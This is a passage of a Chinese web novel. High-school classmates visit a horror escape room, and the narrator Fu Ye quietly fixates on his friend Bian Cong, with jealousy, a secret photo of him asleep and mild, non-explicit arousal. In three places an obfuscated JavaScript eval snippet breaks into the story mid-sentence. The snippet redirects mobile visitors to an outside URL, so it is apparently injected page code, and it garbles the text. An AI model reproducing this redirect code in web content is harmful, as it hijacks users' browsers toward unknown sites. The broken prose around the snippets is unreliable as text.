胡乱翻滚后的边淙身上衣服更是皱成一团,露在他面前的背弯着,正中央的那根脊骨微凸,像一条平整的河流。 他收回视线,望向了那枚被边淙当成抱枕了的枕头,枕头上还有着边淙大腿压过的痕迹。 无论是理性还是感性都在告诉他不可以得寸进尺,不可以边淙昏昏沉沉说了梦话自己也理所当然地接受。 他没有动,只是双手攥着自己的衣角,蹲在他的床边看着他的背影。 久未褪去的陌生的生理变化使他有些不适应,但他并不在意。 他就这么默默地看着边淙,很长时间后,久未得到安抚的部位意兴阑珊地松懈了下来。 他拿出手机打开了相机,关掉了闪光灯后对准了躺在床上的人。 取景框里是一片漆黑。 但他能在漆黑中分辨出边淙的轮廓。 10. 第 10 章 付野拿着筷子,有些心不在焉。 他坐在边淙的身边,明明两个人没有任何身体接触,他却总是能感觉到对方发出的细微动静。 嘈杂的餐厅里,他听见了衣袖摩擦桌沿发出的细小声音,听见了对方喉结上下滚动时发出的轻微声响,就连他手腕上运动手表秒针跳动的时间也能够清晰入耳。 这样的情况,从他那天对着边淙的睡颜产生生理反应起,一直延续到现在。 他的眼耳比他更快一步抓取边淙的任何一个动作。 “各位,明天国庆节放假,有什么计划?”陶阳焱手里捧着杯可乐,咬着吸管,视线环顾了一圈,“出去玩儿吗?” “玩什么啊,高三了我妈肯定不让我到处疯。”陈阳撑着下巴叹了口气,“在家睡三天大觉得了。” “可是这是寒假前的最后一个长假了诶,寒假过了之后高考倒计时,更是没办法玩了吧?”陶阳焱说,“咱又不出远门,跟家里说和同学一起学习然后找个什么剧本杀密室玩一下呗?” “你这话我就该录下来让老师发给你家长。”黎夏漾看他一眼,“不过……欧风街那边好像开了个新的密室,好像是说场地很大NPC很多,超级沉浸,有一个日式校园题材的好评超多。” “啊?NPC很多的密室,恐怖的吗?”唐筱晴闻言皱起了眉,“我不敢玩,我怕鬼。” “你进密室比NPC还像鬼。”边淙幽幽地开口,他转过头看向坐在身边的付野解释,“我跟你说,我们去年寒假的时候一大群人去鬼屋玩儿,筱晴一进去就开始大叫,进去后没多久,我正在找出路呢然后突然有人扯我衣服,一回头她蹲在地上抓着我的衣摆往下扯,我那次没被鬼吓到,但是真被她吓了个好歹。” “哈哈哈哈哈哈我记得!!筱晴穿了个长的白的羽绒服是不是?往地上一蹲那个红色的光一打,她比NPC还吓人!”黎夏漾也笑很大声。 唐筱晴沉默地捂着脸低下了头。 从头到尾都没有说话的付野望着笑意盈盈的边淙,眨了一下眼睛,摇头道:“我可能想象不出来,我没去过鬼屋。” “诶?”陶阳焱愣了一下,“那你也没玩过密室逃脱吗?” 付野摇头说没有。 饭桌上其他几个人你望我一眼,我望你一眼都不知道该怎么接下这个话题。 他们习以为常甚至可能都有些玩腻了的娱乐活动,付野连进都没有进去过,这让提起话题的黎夏漾有些尴尬。 “诶,黎夏漾,你说的那家密室在欧风街哪儿啊?”边淙望向黎夏漾,“确定已经开业了吗?” “确定啊,我在小地瓜上刷到了。”黎夏漾点头。 “那放假一起去吧。”边淙耸了耸肩膀说,“上一次去这种地方都是去年寒假了,想想也很久了,我还蛮想玩儿的。” 他偏过头看着付野:“怎么样,一起去吧?” 付野点头应了好。 “好诶刚好我也很想去!”黎夏漾举起手。 “你们呢?”边淙眯起眼睛,视线先落在了陶阳焱的身上,“去不去?” “去呗!去哪儿玩不是玩啊!” “我不确定啊我妈不一定让我出门。”陈阳长叹了一口气,“别对我抱太大希望,我很有可能去不了。” “筱晴呢?” “我不去。”唐筱晴坚定地摇头,“我拒绝任何带有恐怖元素的娱乐项目。” “去嘛筱晴。”黎夏漾抱住了她的胳膊左晃右晃,“你就当陪我了,我一定保护好你的!” “去嘛筱晴!”边淙捏着嗓子学着黎夏漾的语调,“黎夏漾一定保护好你的!” 整桌人都被边淙的怪腔怪调逗乐了,东倒西歪地笑个不停。 唐筱晴大概是无语了,她扯过自己脱下来的外套往边淙身上甩了一下:“你别恶心我啊!” 付野的视线从边淙的脸上收了回来,他看向了虽然表现得很不高兴但眼角眉梢都带着笑意的唐筱晴身上。 啧。 “我跟你说你真别怕,进去之前跟NPC说一声让他们不吓你就行了。”边淙挥了挥手,转而看向了付野,“对了,你会怕吗?” 付野收回视线,认认真真地想了想:“我也不知道。” “没事付野你别怕。”黎夏漾揽着唐筱晴的胳膊,整个人亲昵地靠在她的肩头望向付野,“边淙一定会保护好你的!” 付野看向了边淙。 “就是,别害怕,全程跟着我就好。”边淙意气风发地挑眉。 付野看着他真挚的眼,郑重地点头说好。 “那就这么说好了。”陶阳焱点头,“咱们五个就是必去的,陈阳……陈阳我努力吧。”他转过身面对着陈阳,举起手宣誓似得,“你放心,我一定努力不让你落单。” 陈阳感激涕零地望着他,握着他的双手眼含热泪地点头:“所以你要怎么努力?” 陶阳焱:“这个还没想好。” 陈阳:…… “不是啊!怎么就必去了啊!!你们怎么就这么帮我决定了啊!!我害怕啊!!!”还没等陈阳发出无语的声音,另一边的唐筱晴发出了尖锐暴鸣声,“我!害!怕!啊!” “那就这么定了!”黎夏漾挽着她的胳膊,却充耳不闻,“回头咱们哪儿见?欧风街挺远的,咱们打车还是坐地铁啊?” 唐筱晴:“啊!!!!” “地铁吧,打车咱们这么多人一辆车坐不下啊,明天直接地铁站门口见就好了。”边淙说。 唐筱晴:“我不去啊!!!!” “那明天……下午吧?上午想多睡一会儿,咱明天下午两点地铁站门口见!”陶阳焱说,“黎夏漾你晚上先预定一下时间然后发个群收款,别明天人到了玩不了。” 唐筱晴:“我请问呢!有没有人管一下啊!!!” “好,那我明天一点多先去你家找你。”黎夏漾看向唐筱晴。 唐筱晴:“滚啊!!!” “哇,好清晰的一声‘呱’。”边淙感叹。 回班上晚自习的路上,边淙全力狂奔,身后是拽着校服追着他跑的唐筱晴。 这两个人冲在了很前面,付野跟着陶阳焱他们走在后面,望着冲上篮球场的两个人。 他看见追在边淙身后的唐筱晴似乎被什么东西绊了一下,边淙也不闹了,急忙回过身握住了她的手臂,将人拉了起来。 傍晚的夕阳洒落在前方两个人的身上,落在地面上的影子被无限拉长,付野的脚步顿了一下。 他清晰地感知到自己的胸腔内正在滋生着某种不知名的情愫。 - 十一的榆城哪里都有很多人。 边淙穿着一件坐在纸飞机上探头的小狗长袖T恤,低着头戴着耳机靠在地铁站口的导向柱上,导向柱上贴着握手的蓝色小人标志,边淙站在蓝色小人下翘着脚一晃一晃的。 他的身上挂了个斜挎包,包里是十一放假之前各科老师们发下来的试卷。 ——陶阳焱临时发消息让大伙儿都带上的。 耳机里的歌刚到副歌部分,一个熟悉的人站在了他的面前。 边淙摘下耳机塞进耳机盒,看着付野弯起唇角笑道:“我就知道你肯定是第一个到的。”说完,他往旁边挪了挪,给付野留出了个位置让他靠着。 付野勾了一下书包带,走到了边淙的身边,两个人的衣服摩擦的轻微动静钻入耳中,是边淙低头拉开斜挎包拉链的声音。 “喏。”边淙将耳机放进包里后,从里面拿出来了一小瓶酸奶。 真的很小一瓶,几乎可以完全握在手心里的那种。 付野接过酸奶,指尖很快地在边淙的手指上勾了一下:“谢谢。” “不客气,我揣了两板出来。”边淙自己也拿起了一瓶撕开了上面的锡纸膜,一口吨了个干净,“啊——快两点了,这帮人怎么还没到?” 付野低着头认认真真地撕着上面的锡纸膜,在人来人往的地铁口,他静静地听着身旁传来的浅浅呼吸声和怦怦心跳声。 “来了——”陶阳焱的声音比人先到,“就说我厉害不厉害吧我把陈阳弄出来了!!” 边淙顺着声音望了过去,陶阳焱和陈阳两个人如同两只脱缰的野狗在朝着他和付野狂奔。 边淙拉着付野的胳膊,带着人往旁边跨了一大步—— 张开双手的陶阳焱结结实实地抱住了导向柱,而陈阳勒马得很及时。 “喂!”陶阳焱收回手,不满地看向自己的同桌,“你太过分了!” “我哪儿就过分了啊你这么一下猪突猛进,万一给我们俩创飞了那才没处说理吧?”边淙一手搭着付野的肩膀,另一只手在斜跨包里掏啊掏,掏出了两瓶酸奶扔给他们,“就差那俩女生了,先等等吧。” “不用等了!来了!”黎夏漾拖着看起来心如死灰的唐筱晴出现在了他们面前。 “哟,你怎么把陈阳拐出来的?”黎夏漾架着唐筱晴的胳膊,朝着陶阳焱挑了个眉。 “我去他家跟他妈说我们约好了一起去书店学习。”陶阳焱说,“他妈可热情了,直接把陈阳推给我了。” 陈阳猛猛点头:“所以我们玩完之后是真的要去学习,我得拿出写了的作业给我妈交差。” “怪不得突然发消息让我们把作业都带上。”边淙服了,掏了掏斜挎包,跟销售发传单似得给俩姑娘发酸奶。 “可不?盯着他写还不如一块儿写了,反正大家都要写的。”陶阳焱揽上边淙的脖子,“走,出发!” 黎夏漾约的密室时间在下午三点。 他们到店里的时候还没到时间,上一批进去的人还没出来。 一伙人坐在店里,听着密室里传来各种各样的怪叫鬼声。 边淙拿了张密室背景介绍的单子在研究,另一边,唐筱晴已经开始发抖了。 随着时间的流逝,唐筱晴抖得越来越厉害,到最后整个木桌都跟着晃动了起来。 “地震了啊?”陈阳一脸迷茫地抬起头。 “那没有,筱晴在害怕。”黎夏漾一边拍着唐筱晴的背一边做着无用的安慰,“别怕,都是假的嘛。” “我也知道都是假的啊可是这不影响我害怕——”唐筱晴“呜呜”了两声。 看完简介的边淙听着她发出的动静,好笑地看她:“怎么这次怕成这样啊?这么怕的话要么换个解密密室吧?” 唐筱晴眼睛一亮,刚想点头时,听到他们对话的店员十分好心地开口:“实在是不好意思,咱们店里没有非恐解密密室呢。” 边淙:…… 唐筱晴:…… “那要么……”他抬头看了一眼,黎夏漾对这个密室的期待值很高,陶阳焱好不容易把陈阳弄出来,付野更是第一次玩密室逃脱这个东西,而把一个女孩子丢在店里这么长时间这个事儿,他到底也是做不出来的。 边淙叹了口气:“你上次去鬼屋也没这么应激啊……怕成这样就别进去了,我在外面陪你吧。” 付野猛地转过头看向边淙。 边淙的脸上挂着无奈的笑容望着面前的唐筱晴。 他明明也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207427|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想去玩儿,昨天晚上还在微信上和自己聊了很多他以前玩过的密室,并且也表明了对这次游玩的期待。 但此刻的他说不进去了就不进去了,没有半分怨言。 如果边淙不一起的话……付野觉得这项活动很无趣。 “我……”唐筱晴望着边淙的表情,深呼了一口气,“算了,进、进吧,来都来了。” 到底还是十几岁的小姑娘,就算很害怕也挡不住好奇心想要进去瞧一瞧,更不想拂了好友们的兴致。 边淙挑了下眉,站起身走到店员身边:“您好。” “您好。”化着鬼怪妆容的店员礼貌地冲他颔首。 “我们这边——”边淙回过头,抬手指了指依偎在黎夏漾怀中的唐筱晴,“那个穿着蓝色卫衣的女孩子比较胆小,可不可以麻烦等会和里面的NPC说一声,不要去吓她,单人任务也不要选她?” 店员十分善解人意地点头:“当然可以!” “谢谢了。”边淙笑笑,“可千万别记错了逮着她吓啊,这人经不起吓,一吓就哭的。” “当然不会。” 陈阳朝着走回来的边淙竖起了大拇指:“暖男!” 边淙毫不留情地抬手摁下了他的大拇指:“别犯病!” 回到付野身边坐下后,侧过脸撑着额头看他:“怎么皱眉,你也害怕吗?” 边淙不知道他在想什么,只见他反应慢半拍似得摇了头:“我应该不怕。” “你这表情苦大仇深的,我还以为你跟筱晴一样害怕,还不敢开口。”边淙哥俩好地揽着他的肩膀,安抚地拍了拍,“不过第一次进密室就玩这种有追逐战的恐怖密室会害怕也正常啦,我之前玩过一个NPC扛着电锯追着我跑的密室差点给我吓撅了。” “怎么还有追逐战啊!!!”好不容易哄好自己的唐筱晴听到这三个字儿一个激灵,差点跳了起来。 “啊?黎夏漾不是定的那个日式校园题材吗?”边淙被她的喊声吸引了视线,他拿起刚刚看过的简介晃了晃,“我在这上面看到的啊,有NPC追逐战,并且不止一次。” 唐筱晴闭上了眼,已经提前开始酝酿眼泪了。 不为别的,只是她感觉自己的死期到了。 “……额。”黎夏漾顺着唐筱晴的背,尴尬地开口,“你是不是根本没看我发的消息?” 边淙“啊?”了一声。 “十一黄金周,游客多,学生公司也都放假,那个日式校园的密室是这家密室的招牌,已经排到了五天后,五天后我们都上课了。”黎夏漾解释说,“然后我就换成了一个中恐题材的,我艾特你了你还扣了‘1’的啊。” 这下轮到边淙挠头了。 他大概是睡得迷迷糊糊的时候扣的“1”。 “……我看看中恐的简介啊。”人尴尬的时候总是假装很忙,他的手指在那张单子上逐字划过。 “边淙。”付野望着他,喊了他一声。 边淙抬头看了他一眼:“嗯?” “你不害怕吗?”付野小声问。 边淙一脸“你在开什么玩笑”地看着他:“我诶,恐怖密室资深玩家,我当然不怕啊!” 付野一脸欲言又止地看着他,好一会儿后,干巴巴地“哦”了一声。 “为什么这么问啊?” 付野抿着唇,更小声道:“上次去图书馆的时候,你被保洁阿姨吓到了。” 边淙:…… 想起来了。 全都想起来了。 “这不一样,那是在没有任何心理准备的情况下突然看到一张脸,吓了一跳而已。”边淙觉得这事儿有点丢人,所以他是凑到付野的耳边小声说的,灼热的呼吸喷洒在付野的耳廓上,昏暗的灯光下他没有注意到付野的耳朵悄然爬上了一抹红,“总之密室逃脱我是不害怕的。” 付野点头说自己懂了。 解答完疑惑,边淙的视线又回到了那张简介上。 这是很多中恐密室都做过的冥婚题材,不算新颖,同一题材的密室边淙早在八百年前就玩过了,彼时的他在昏黑的密室里被健步如飞的鬼新娘追着跑得乱七八糟的。 边淙看了一眼唐筱晴,脑补了一下唐筱晴被鬼新娘追着跑的样子,嘴角抽了抽。 总感觉唐筱晴会比鬼新娘还可怕。 “您好!”边淙举起手对着刚刚那位他询问过的NPC喊了一声。 NPC应声走到他们桌边:“您好。” “这个密室——”边淙拿起那张简介指着里面唯一一个中式恐怖密室,“它有追逐战吗?” NPC凑过来看了一眼,摇头:“没有的。” “那就行。”边淙放下了心。 “但是里面有一项比较特殊的任务,是需要两个人一起躺进棺材里的。”NPC说。 边淙:…… 不约而同的,听到NPC这句话的其他人也都打量起了身旁的朋友们。 “你想躺棺材吗?”陈阳望向唐筱晴,语出惊人。 唐筱晴毫不犹豫地摇头。 “你——”陈阳又看向黎夏漾,“你也算了,要两个人一起躺的话你一个女孩跟我们几个男的都不方便。” “那不就咱们四个排列组合呗?”陶阳焱撸了撸袖子,“来吧——” 这一刻,快乐小狗挂上了一抹十分不阳光笑容:“石头剪刀布,看看谁躺棺材板了。” 十秒钟后,第一轮石头剪刀布结束。 边淙一脸麻木。 “来吧哥几个,看看谁陪我躺棺材板了。” 11. 第 11 章 “这还有什么好石头剪刀布的啊?”置身事外的黎夏漾双手托腮看着他们几个,“那当然是付野跟你躺棺材板啊!” 付野“诶?”了一声,错愕地看向了黎夏漾。 边淙摊手:“不是,你们不能因为他第一次玩密室就欺负他啊!” “谁欺负他了,不是你自己说的,让他全程跟着你吗?”黎夏漾说,“说到要做到啊边淙。” 边淙:“……我当时的意思也不是说这种任务也要他跟着我一块儿啊。” 付野听着边淙话中那不甚明显的拒绝含义垂下了眼眸,纤长卷翘的睫毛很轻地颤了颤。 “我不是不愿意啊,我服了——”边淙看了黎夏漾好一会儿,而后叹了口气偏过头面对着付野,喊了他一声。 付野的喉咙里闷出了一声“嗯?” “你,就是……你有这方面忌讳吗?毕竟虽然是道具但确实有的人会避讳这些。”边淙说,“我主要是担心这一方面。” “那你就不担心我和陈阳有忌讳?”陶阳焱奇了。 “你俩又不是第一次出来跟我玩密室鬼屋,之前你俩在密室里,面对面被架在十字架上也没说什么,肯定就是不忌讳啊。”边淙无语了,“我该担心你们俩什么?” 陈阳和陶阳焱对视一眼,一块儿想起了当时被面对面吊在十字架上的样子,不约而同地笑成了弱智。 付野听到边淙的问题,微微抬起眼看向里他,过了一会儿摇了摇头:“我不忌讳这些。” 边淙看着勾肩搭背手拉着手狂笑的俩人,深深地叹了一口气。 感觉跟这俩人中的任何一个一块儿躺在棺材板里,要么俩人一块儿笑成弱智,要么你给我一拳我给你一脚然后在棺材里闹起来。 但无论从棺材里传出笑声还是打闹声都很抽象且离谱。 ……真的很抽象。 “我真不想跟他俩一起啊。”边淙看向付野,撒娇似的快速眨了好几下眼睛,“你陪我躺这个棺材吧,好不好?” 付野平视着他的眼睛,点头:“好。” “有你真好。”边淙坐在他的左手边,双手环上了他的肩膀,十分小鸟依人地往他肩头上靠了一下,“那就不用石头剪刀布了,唯一输了的我自行择偶。” 付野眉心一跳。 择偶这个词不是用在这里的。 他刚想开口提醒边淙用错词时,侧方的一个小门被打开,负责将道具归位的工作人员低着腰从门里走出来,走到他们的面前:“密室已经准备好了,各位将电子设备和背包之类的东西锁进前方的柜子里后,手牵着手,进去前我们会给你们戴上眼罩,等到所有人都进去后再摘掉哦。” 听见工作人员说话的一桌人站起来身,将各自的手机耳机电子手表塞进包里,锁进柜子后,走到了密室前。 “新的问题出现了,谁走第一个?”陶阳焱问。 “我……” 边淙刚开了口,一直没有主动说话的付野打断了他的话:“我来吧。” “诶?!”一大伙人惊喜地看向付野,“这么勇敢吗?” 付野双手插在口袋里,很轻地笑了笑。 倒也不是勇敢。 他只是单纯不喜欢和人有肢体接触,走在第一个的话,他只用牵一个人的手。 而那个人—— 他赌这个人是边淙。 “那我第二个,我和付野走前面。”边淙说,“俩女生走中间,火火你和陈阳殿后,这样行吗?” 付野垂着眼看向了边淙垂在腿边的那双漂亮的手指,他塞进衣服口袋里的手指尖颤了颤。 “手别揣兜里了,给我。”边淙笑嘻嘻地朝着付野伸出手,指尖勾了勾。 付野摁了一声,抬起手搭在了边淙的手心里,而后被整个牵住。 边淙的手温热干燥,掌心很柔软,握起来很舒服。 付野放轻动作,很小心地紧了紧手,而后偏过头顺着两个人一同牵着的手看了过去。 边淙的另一只手牵着的是唐筱晴,唐筱晴依旧在害怕,所以她攥着边淙的手攥很紧,指甲甚至在他的手背上嵌出了痕迹。 付野仍旧空着的揣在口袋里的那只手不可控地攥紧了有些粗糙的布料。 “都确定好了吗?”NPC问,“确定好了我就给你们发眼罩了哦。” “等会等会等会!!”开口的是黎夏漾,她望向了另一边牵着她的陶阳焱,“火火,你和陈阳换个位置吧,你去最后一个。” 陶阳焱对着她眨了眨好几下眼,随后发出了暧昧的声音:“诶!喔!唷!噫!你们两个!” “你别发出这死动静,你有手汗,我不想碰你而已。”黎夏漾无语了。 陶阳焱:…… “哈哈哈哈哈哈哈!!”一伙人听到黎夏漾的这句话笑了个不停,就连站在中间怕得不行的唐筱晴都没忍住,“哈哈哈哈哈哈哈!!!” “你们别笑了啊,这有什么好笑的!”陶阳焱松开了黎夏漾的手,摸了一下鼻子,悻悻地和陈阳换了个位置。 折腾了一番,工作人员拿过眼罩递给他们。 付野接过后,微微低着头将眼罩戴上。 再一次将手送到边淙掌心之前,他动作很快地在自己的裤子上擦了一下手心。 眼罩戴上后,整个视线完全被剥夺后其他的感官变得更为敏锐。 付野牵着他的那只手动作不轻不重,只是指腹时不时在蹭在他的手背上,很轻柔,有些痒。 另一边就比较惨了,眼罩戴起来后,唐筱晴抓着他手的力道加深,走进特意开了很低冷气的密室里,唐筱晴几乎可以说是掐着他的手了,身后传来剧烈敲鼓声后更是不得了,唐筱晴一边抓他一边尖叫,边淙被她抓得骨头嘎嘎响,整个人龇牙咧嘴。 “啊——”边淙发出了痛苦的声音。 已经摘下了眼罩的付野偏过头,在一片昏黑中看向他,小声问道:“你怎么了?” 边淙深呼了一口气:“我快被筱晴掐死了。” “我也是——”黎夏漾也发出来同样的声音。 罪魁祸首唐筱晴依旧紧攥着两个人的手,呜呜渣渣地发出尖叫声。 “我感觉她一时半会儿松不开了,你帮我摘下眼罩吧。”边淙将脑袋朝着付野的方向偏了偏,蓬松柔软的头发扫过他的脸颊,泛起一股痒意。 付野应了声好,松开牵着他的手,凑近了他抬手替他摘下了黑色的眼罩。 黑暗中,边淙望向他的一双眼清明透亮。 但他的另一只手却牵着唐筱晴。 这家店的中恐密室不是招牌,场地没有特别大,任务也并不多。 大约是之前边淙和店员交涉过了的缘故,这间密室里的NPC就只是四处晃晃,时不时发出一些怪里怪气的声音,既不追逐也不触碰玩家,进来之前很害怕,站在第一个房间里尖叫了好几分钟的唐筱晴都已经可以睁眼看世界了。 更别提本身就不害怕的其他人。 手痒的陶阳炎甚至走到鬼新娘NPC的身前,抬手掀她的盖头。 “你真是手痒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15207428|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”黎夏漾锐评。 一伙人闹闹腾腾地过了一个又一个房间,终于走到了传说中需要玩家躺进去的摆着棺材的房间。 “这一路上又是爬绳索又是钻狗洞的,这下终于到我的休息区了,我躺棺材里休息会儿。”边淙十分不拘小节地抬手掀开了轻飘飘的棺材盖儿,抬起一条腿跨了进去,而后转过身朝着付野的方向伸出了手,“来吧,咱俩生同衾死同穴了。” 付野沉默了一瞬:“……边淙,你知道生同衾死同穴是什么意思吗?” “知道啊,活着盖一条被子睡觉,死了塞一个棺材里。”边淙一副“你把我当弱智?”的表情看向付野,“虽然这不是真棺材,但反正就那个意思。” “那咱仨谁跟你一块儿躺里头你都能说这话呗?”陈阳扒拉在棺材板上看他,“万能用语是吧?” 边淙仔细想了想:“嘿嘿,还真是。” 他们几个人关系好,你来我家串门、我去你家串门或者一块出去玩都是不拘小节地睡一张床上。 都别说两个人单独了,四五个人睡大通铺的情况也不是没有过。 按照边淙的逻辑来说,今天这几个男生里不管是谁跟他一块儿躺在这儿,他确实都能用这句话。 黑暗中,付野回过头看向了陶阳焱和陈阳。 他们两个跟边淙睡过一张床。 边淙以为那天在他家里的时候自己也在他旁边睡过。 但其实他没有。 付野收回视线,抬起手搭在了边淙的掌心上,抬腿踩进了这个并不真实的棺材里。 “躺了哥们!”边淙揽着他的肩膀带着他一块儿倒了下去,“你们做任务去吧,帮我们关一下棺材盖儿,谢谢。” 也不知道这句话戳中了黎夏漾的哪根神经,她突然笑得好大声。 笑声一个传染一个,半分钟后,这个狭小的密闭空间里笑声无限回荡,好一会儿后,他们才将那个轻飘飘的棺材板盖了回去,并贴心地留了条缝隙给躺在里面的俩人喘气儿。 “你俩就先躺着啊,我们去下一个房间做任务了,等会儿见!” 边淙将手从那个缝隙里钻了出去,冲着他们挥了挥:“去吧去吧。” 一阵桌柜碰撞的声音后,他们这个小房间完全安静了下来。 边淙一只手枕在脑后,另一只手贴着付野。 两个人紧挨着,躺在道具棺材里聊天。 时间一点一点流逝,边淙手腕上运动手表“滴答滴答”的声音在这块狭小空间里极为明显。 付野侧过头,面对着边淙,在一片漆黑里用一双眼勾勒着他的轮廓。 就像他在不止一个睡不着的夜晚里打开手机里那张漆黑的照片一样。 “他们怎么这么慢啊?”好一会儿后,边淙没忍住皱起了眉,“这任务能有这么难吗,怎么还不来接我们俩啊?” 付野摇头说了句“不知道”。 “你心跳有点快,等久了在害怕吗?”边淙翻了个身面对着付野,抬手拍了拍他的肩膀,“别怕,我在你旁边呢。” 付野眨了一下眼,点头。 他的确在害怕,但不是害怕密室里刻意制造的恐怖氛围和人类假扮的鬼怪,于他而言这些没有任何可怕的点。 他害怕的是自己内心深处产生的,对边淙身边每一个与他亲昵的人,陌生的,不可控的情绪。 边淙身边的每一个人对他都很友善,是他从前从没有接收过友善。 他应该感到开心,但他并不开心。 他在妒忌。 12.第 12 章 边淙感觉自己在棺材里躺了感觉有一辈子那么长。 昏黑安静的环境下,他的睡意一点点袭来,和付野说话的声音也越来越小,不知过了多长时间,他安详地闭上了眼。 侧着身子,把对方当成了等身抱枕,手臂搂着付野的腰,腿也曲起来直接搭在了付野的身上,在这个奇妙的地方睡得很香。 付野侧过头,有些艰难地抬起手虚掩在他的脸上,隔着薄薄一层空气,掌心描摹着这张熟悉的脸。 干净蓬松的额发划过掌心,往下是纤长的睫毛,边淙的那双眼不会掩盖任何情绪,他整个人在想什么几乎是写在脸上的,开心也好不开心也好,但绝大多数时间都是开心的,像无忧无虑的快乐小狗。 灼热的鼻息喷洒在皮肤上,很快将他的手心捂热,润湿,滑到唇瓣的那一刻,他甚至不知道柔软温热的到底是自己的掌心还是边淙微微张着的唇。 付野就这么一直,一直睁着眼看着他,直到眼睛发酸,直到眼眶发胀。 他听清了自己毫无章法的混乱心跳声。 轻抚过边淙脸颊的手收回,放在自己的鼻子下嗅了嗅。 是很幼稚但很香的宝宝霜的味道。 付野颤着睫毛,贪婪地闻着落在他掌心的属于边淙的味道。 直到全部钻入鼻腔,落入肺中,融进他的脏腑。 如果其他人不会再回来了就好。 他想。 不知过了多长时间,僻静的密室里传来了脚步声。 扮演成鬼新娘的NPC打着手电掀开棺材盖的时候,付野微微眯起了眼,皱着眉抬起手挡住了刺眼的光源。 他望了一眼枕在他肩膀上睡得很熟的边淙,不悦地看向了NPC。 “二位,你们的朋友已经提前离场了。”大概是看到了付野不太好的脸色,NPC的语气很抱歉,“刚刚他们突然回来说有两个人还在棺材里躺着,让我们把二位请出来,实在是很不好意思,这也是我们工作人员的过失。” “知道了。”付野轻声点头,余光瞥见边淙皱起的眉头,他望向NPC,“灯,很刺眼。” “啊好的,抱歉。”NPC将手电拿远了些等在旁边,没再对着棺材里面照,但边淙还是醒了。 他微微眯着眼,毛茸茸的脑袋下意识在付野的颈窝处蹭了蹭,好一会儿才懒洋洋地开口道:“他们总算回来了?” “没有。”付野摇头,“刚刚工作人员说,他们提前出去,把我们忘在这里了。” 边淙的思绪还没跟着他一起醒,他表情有些懵懵的,正在思考这句话的含义。 他的朋友们,把他们忘在这里了? 意思是,陶阳焱他们已经走出了这个密室,只剩下他和付野还躺在这狭小的棺材里了? “我真服了这几个人!!”脑回路转过来了的边淙十分无语地撇了一下嘴,他下意识地想要起身,刚一抬腿,却发现自己半边身子都是麻的,只是抬了一下腿,酥麻感从小腿一路蔓延到了肩膀上,边淙龇牙咧嘴地吸着气儿放下了腿。 沉重的腿不偏不倚地压在了付野的小腹上,付野倒吸了一口气,硬生生咽下了自己差点发出的闷哼声。 “啊……腿好麻……等我缓一缓……”边淙皱着眉小声道,尚未恢复知觉的腿并不能感知到自己到底压在了什么地方上,他只能抬着眼辨认着付野脸的方向,“我是不是压着你了?” 付野没有正面回答这个问题,只是摇头:“没事。” “有事儿也没办法我现在动不了。”边淙叹气,“苦了你了。” “没关系的。” “他们也太过分了,咱们总共就六个人一块儿出来,又不是六十个人,他们居然还能把咱俩落这儿——”边淙捏着自己发麻的腰腿,脑瓜子咕噜咕噜往外冒着坏水,“你等会别跟他们说我在这里面睡着了啊,我得装一下,生个气,想想办法唤醒他们的愧疚感。” 付野低低地“嗯”了一声,他听清了边淙的话,但他却没有办法把关注点完全放在边淙的话上。 边淙搭在他小腹上的腿一直在贴着他晃动,这份触感实在是让他无法专注去听边淙说话。 他只能侧过头,死死咬住自己的下唇,用疼痛去覆盖其他的异样触感。 酥麻感一点一点消退,边淙抬起腿伸直弯曲,弯曲伸直,来来回回好几次,总算有了知觉。 他坐起身,双手撑在棺材边沿,有些狼狈地蹦了起来。 然后与站在旁边拿着手电表情有些怪异……也可能是妆容有些怪异的鬼新娘对视了一眼。 好怪,鬼新娘看他的眼神好怪。 也不知道是哪里好怪反正就是好怪。 他有些尴尬地对着鬼新娘挥了一下手后,转过身单手扒拉着棺材边沿,朝着棺材里刚坐起身的付野伸出了手,大声喊了一句:“起!!” 付野握住了他的手,站起身整理了一下有些皱的衣摆,抬腿跨出了棺材。 跟着NPC从走出来的两个人推开逃生通道的大门后,望见的是站在大门口捧着奶茶章鱼小丸子甚至还有关东煮的,他的同学们。 边淙瞬间板下了脸:“给个解释?” “嘿嘿……”陶阳焱挠头。 “额……”陈阳摸鼻子。 “这个嘛……”黎夏漾快速眨眼。 “你听我解释……”唐筱晴走到了他的身边。 “你解释吧,我听着。”边淙十分冷酷地抱着臂,“那么阴森恐怖的地方,那么狭小..逼仄的棺材,那么长的时间,你知道我和付野是怎么挺过来的吗?” 他一边说着,一边拉起了付野的手抵在自己的胸口处,做出痛心疾首的模样:“我们两个人放心地把后背交给你们,在惶恐中惴惴不安,你们四个去哪儿了?” “我们……”唐筱晴拿起勾在手指上的两杯奶茶递给他们俩,“你俩先接着算我赔罪了。” “我说吧。”黎夏漾看着唐筱晴叹了一口气,“我们一开始是去做任务的,另一个房间里也是和你们那个房间一样的棺材,但是棺材里躺了NPC,筱晴突然被NPC被碰了一下吓到了,她差点哭抽过去,我们就……” “就出来哄她了。”陶阳焱往自己的嘴里塞了一颗鱼丸,含糊不清地开口,“陪着她逛了逛买点了吃的给她哄好之后才意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 